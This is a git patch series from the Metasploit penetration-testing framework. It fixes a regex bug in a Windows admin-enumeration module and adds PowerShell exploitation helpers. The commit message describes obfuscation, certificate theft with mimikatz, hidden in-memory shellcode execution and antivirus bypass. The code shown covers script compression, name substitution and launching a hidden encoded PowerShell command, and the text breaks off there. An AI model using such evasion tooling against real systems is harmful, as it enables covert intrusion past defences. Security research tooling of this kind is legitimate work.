From 595e5387839d14cc9de8c692592e26ee96db6a01 Mon Sep 17 00:00:00 2001 From: g0tmi1k Date: Wed, 3 Jul 2013 00:43:08 +0100 Subject: [PATCH 001/108] post/local_admin_search_enum~Regex fails,module 2 If the regex fails then the entire moudle would too --- .../post/windows/gather/local_admin_search_enum.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 72cfcc8d7fb7..1e405d966943 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -21,7 +21,7 @@ def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Local Admin Search', 'Description' => %q{ - This module will identify systems in a given range that the + This module will identify systems in a given range that the supplied domain user (should migrate into a user pid) has administrative access to by using the Windows API OpenSCManagerA to establishing a handle to the remote host. Additionally it can enumerate logged in users and group @@ -80,10 +80,16 @@ def setup # Check if RSOP data exists, if not disable group check unless res =~ /does not have RSOP data./ - @domain_controller = /Group Policy was applied from:\s*(.*)\s*/.match(res)[1].chomp + dc_applied = /Group Policy was applied from:\s*(.*)\s*/.match(res) + if dc_applied + @domain_controller = dc_applied[1].strip + else + @dc_error = true + print_error("Could not read RSOP data, will not enumerate users and groups. Manually specify DC.") + end else @dc_error = true - print_error("User never logged into device, will not enumerate groups or manually specify DC.") + print_error("User never logged into device, will not enumerate users and groups. Manually specify DC.") end end end @@ -255,4 +261,4 @@ def db_loot(host, user, type) p = store_loot(type, 'text/plain', host, "#{host}:#{user}", 'hosts_localadmin.txt', user) vprint_status("User data stored in: #{p}") end -end \ No newline at end of file +end From 4554cc6e514540b8115a579fa282f25ce74596cf Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Thu, 4 Jul 2013 12:44:44 -0400 Subject: [PATCH 002/108] Import Powershell libs and modules (again) Add Rex powershell parser: reads PSH, determines functions, variables, blocks compresses and cleans up the code it's read, obfuscates handles string literals and reserved variable names extracts code blocks and functions for reuse turns powersploit into a useful sub-component for MSF Rewire Msf powershell modules Make use of Rex parser Handles payload generation, substituions Brings convenience methods - byte array generation and download Re-add .NET compiler Compiles .NET code (C#/VB.NET) in memory Can generate binary output file (dynamic persistence) Handles code-signing (steal cert with mimikatz, sign your bin) Not detected by AV (still...) Update payload generation GZip compression and decompression (see Rex module as well) msftidy violations for space efficiency - each char counts Re-submit psexec-psh Makes use of updated Msf and Rex modules Runs shellcode in-memory (in a hidden PSH window) Completely bypasses all AVs tested for the last year... --- lib/msf/core/exploit/powershell.rb | 189 ++++++++ lib/msf/core/exploit/powershell/dot_net.rb | 172 ++++++++ lib/msf/core/post/windows/powershell.rb | 289 +++++++----- lib/msf/util/exe.rb | 161 ++++--- lib/rex/exploitation/powershell.rb | 412 ++++++++++++++++++ modules/exploits/windows/smb/psexec_psh.rb | 104 +++++ .../windows/manage/powershell/exec_cmd.rb | 77 ++++ .../windows/manage/powershell/exec_script.rb | 90 ++++ 8 files changed, 1286 insertions(+), 208 deletions(-) create mode 100644 lib/msf/core/exploit/powershell.rb create mode 100644 lib/msf/core/exploit/powershell/dot_net.rb create mode 100644 lib/rex/exploitation/powershell.rb create mode 100644 modules/exploits/windows/smb/psexec_psh.rb create mode 100644 modules/post/windows/manage/powershell/exec_cmd.rb create mode 100644 modules/post/windows/manage/powershell/exec_script.rb diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb new file mode 100644 index 000000000000..ac6653434306 --- /dev/null +++ b/lib/msf/core/exploit/powershell.rb @@ -0,0 +1,189 @@ +# -*- coding: binary -*- +require 'rex/exploitation/powershell' + +module Msf +module Exploit::Powershell + + class PshScript < Rex::Exploitation::Powershell::Script + end + + def initialize(info = {}) + super + register_advanced_options( + [ + OptBool.new('RUN_WOW64', [ + false, + 'Execute powershell in 32bit compatibility mode, payloads need native arch', + false + ]), + OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), + OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), + OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), + OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), + ], self.class) + end + + # + # Reads script into a PshScript + # + def read_script(script) + return PshScript.new(script) + end + + # + # Insert substitutions into the powershell script + # + def make_subs(script, subs) + if ::File.file?(script) + script = ::File.read(script) + end + + subs.each do |set| + script.gsub!(set[0],set[1]) + end + # if datastore['VERBOSE'] + # print_good("Final Script: ") + # script.each_line {|l| print_status("\t#{l}")} + # end + return script + end + + # + # Return an array of substitutions for use in make_subs + # + def process_subs(subs) + return [] if subs.nil? or subs.empty? + new_subs = [] + subs.split(';').each do |set| + new_subs << set.split(',', 2) + end + return new_subs + end + + # + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled + # + def compress_script(script_in, eof = nil) + # Build script object + psh = PshScript.new(script_in) + # Invoke enabled modifiers + datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) + end + return psh.compress_code(eof) + end + + # + # Runs powershell in hidden window raising interactive proc msg + # + def run_hidden_psh(ps_code,ps_bin='powershell.exe') + ps_args = " -EncodedCommand #{ compress_script(ps_code) } " + + ps_wrapper = <